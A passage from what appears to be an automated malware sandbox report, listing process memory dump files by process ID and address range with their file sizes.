                      9.9MB

                    • memory/1492-493-0x00007FFEE58E0000-0x00007FFEE62CC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/1492-483-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

                      Filesize

                      64KB

                    • memory/1492-347-0x000001F7C5DC0000-0x000001F7C5DE2000-memory.dmp

                      Filesize

                      136KB

                    • memory/1620-325-0x0000000000400000-0x000000000046D000-memory.dmp

                      Filesize

                      436KB

                    • memory/1620-323-0x0000000000400000-0x000000000046D000-memory.dmp

                      Filesize

                      436KB

                    • memory/1620-327-0x0000000000400000-0x000000000046D000-memory.dmp

                      Filesize

                      436KB

                    • memory/1620-320-0x0000000000400000-0x000000000046D000-memory.dmp

                      Filesize

                      436KB

                    • memory/2476-303-0x0000000000400000-0x00000000008F2000-memory.dmp

                      Filesize

                      4.9MB

                    • memory/2928-661-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/2928-665-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/2928-664-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/2928-668-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/2928-663-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/2928-662-0x0000000140000000-0x000000014000D000-memory.dmp

                      Filesize

                      52KB

                    • memory/3436-22-0x0000000007CC0000-0x0000000007D26000-memory.dmp

                      Filesize

                      408KB

                    • memory/3436-24-0x0000000007F10000-0x0000000008260000-memory.dmp

                      Filesize

                      3.3MB

                    • memory/3436-18-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3436-19-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3436-20-0x0000000007560000-0x0000000007B88000-memory.dmp

                      Filesize

                      6.2MB

                    • memory/3436-21-0x0000000007C20000-0x0000000007C42000-memory.dmp

                      Filesize

                      136KB

                    • memory/3436-311-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3436-23-0x0000000007EA0000-0x0000000007F06000-memory.dmp

                      Filesize

                      408KB

                    • memory/3436-17-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/3436-16-0x0000000004B90000-0x0000000004BC6000-memory.dmp

                      Filesize

                      216KB

                    • memory/3436-25-0x0000000008280000-0x000000000829C000-memory.dmp

                      Filesize

                      112KB

                    • memory/3436-26-0x00000000083E0000-0x000000000842B000-memory.dmp

                      Filesize

                      300KB

                    • memory/3436-27-0x0000000008680000-0x00000000086F6000-memory.dmp

                      Filesize

                      472KB

                    • memory/3436-42-0x0000000009760000-0x00000000097F4000-memory.dmp

                      Filesize

                      592KB

                    • memory/3436-43-0x00000000096E0000-0x00000000096FA000-memory.dmp

                      Filesize

                      104KB

                    • memory/3436-44-0x0000000009730000-0x0000000009752000-memory.dmp

                      Filesize

                      136KB

                    • memory/3436-318-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3436-45-0x0000000009D00000-0x000000000A1FE000-memory.dmp

                      Filesize

                      5.0MB

                    • memory/3436-304-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/3736-505-0x0000016D4EE70000-0x0000016D4EE80000-memory.dmp

                      Filesize

                      64KB

                    • memory/3736-658-0x00007FFEE58E0000-0x00007FFEE62CC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/3736-624-0x0000016D4EE70000-0x0000016D4EE80000-memory.dmp

                      Filesize

                      64KB

                    • memory/3736-621-0x0000016D4EE70000-0x0000016D4EE80000-memory.dmp

                      Filesize

                      64KB

                    • memory/3736-532-0x0000016D4F1B0000-0x0000016D4F269000-memory.dmp

                      Filesize

                      740KB

                    • memory/3736-525-0x0000016D4EFD0000-0x0000016D4EFEC000-memory.dmp

                      Filesize

                      112KB

                    • memory/3736-526-0x00007FF7D75A0000-0x00007FF7D75B0000-memory.dmp

                      Filesize

                      64KB

                    • memory/3736-506-0x0000016D4EE70000-0x0000016D4EE80000-memory.dmp

                      Filesize

                      64KB

                    • memory/3736-503-0x00007FFEE58E0000-0x00007FFEE62CC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/4036-340-0x00007FF660E30000-0x00007FF6617C5000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/4036-496-0x00007FF660E30000-0x00007FF6617C5000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/4220-331-0x0000000000400000-0x00000000008F2000-memory.dmp

                      Filesize

                      4.9MB

                    • memory/4352-500-0x00007FF790D40000-0x00007FF7916D5000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/4352-675-0x00007FF790D40000-0x00007FF7916D5000-memory.dmp

                      Filesize

                      9.6MB

                    • memory/4440-316-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/4440-319-0x0000000005770000-0x0000000005780000-memory.dmp

                      Filesize

                      64KB

                    • memory/4440-324-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/4440-315-0x0000000000EE0000-0x0000000000F68000-memory.dmp

                      Filesize

                      544KB

                    • memory/4632-731-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/4632-732-0x0000000004C80000-0x0000000004C90000-memory.dmp

                      Filesize

                      64KB

                    • memory/4632-737-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/4632-730-0x00000000002B0000-0x0000000000326000-memory.dmp

                      Filesize

                      472KB

                    • memory/4664-76-0x00000000090F0000-0x0000000009123000-memory.dmp

                      Filesize

                      204KB

                    • memory/4664-57-0x0000000006890000-0x00000000068A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4664-58-0x0000000006890000-0x00000000068A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4664-75-0x000000007EE30000-0x000000007EE40000-memory.dmp

                      Filesize

                      64KB

                    • memory/4664-77-0x000000006F380000-0x000000006F3CB000-memory.dmp

                      Filesize

                      300KB

                    • memory/4664-78-0x00000000090D0000-0x00000000090EE000-memory.dmp

                      Filesize

                      120KB

                    • memory/4664-83-0x0000000009140000-0x00000000091E5000-memory.dmp

                      Filesize

                      660KB

                    • memory/4664-84-0x0000000006890000-0x00000000068A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4664-279-0x00000000093A0000-0x00000000093BA000-memory.dmp

                      Filesize

                      104KB

                    • memory/4664-284-0x0000000009390000-0x0000000009398000-memory.dmp

                      Filesize

                      32KB

                    • memory/4664-300-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/4664-56-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB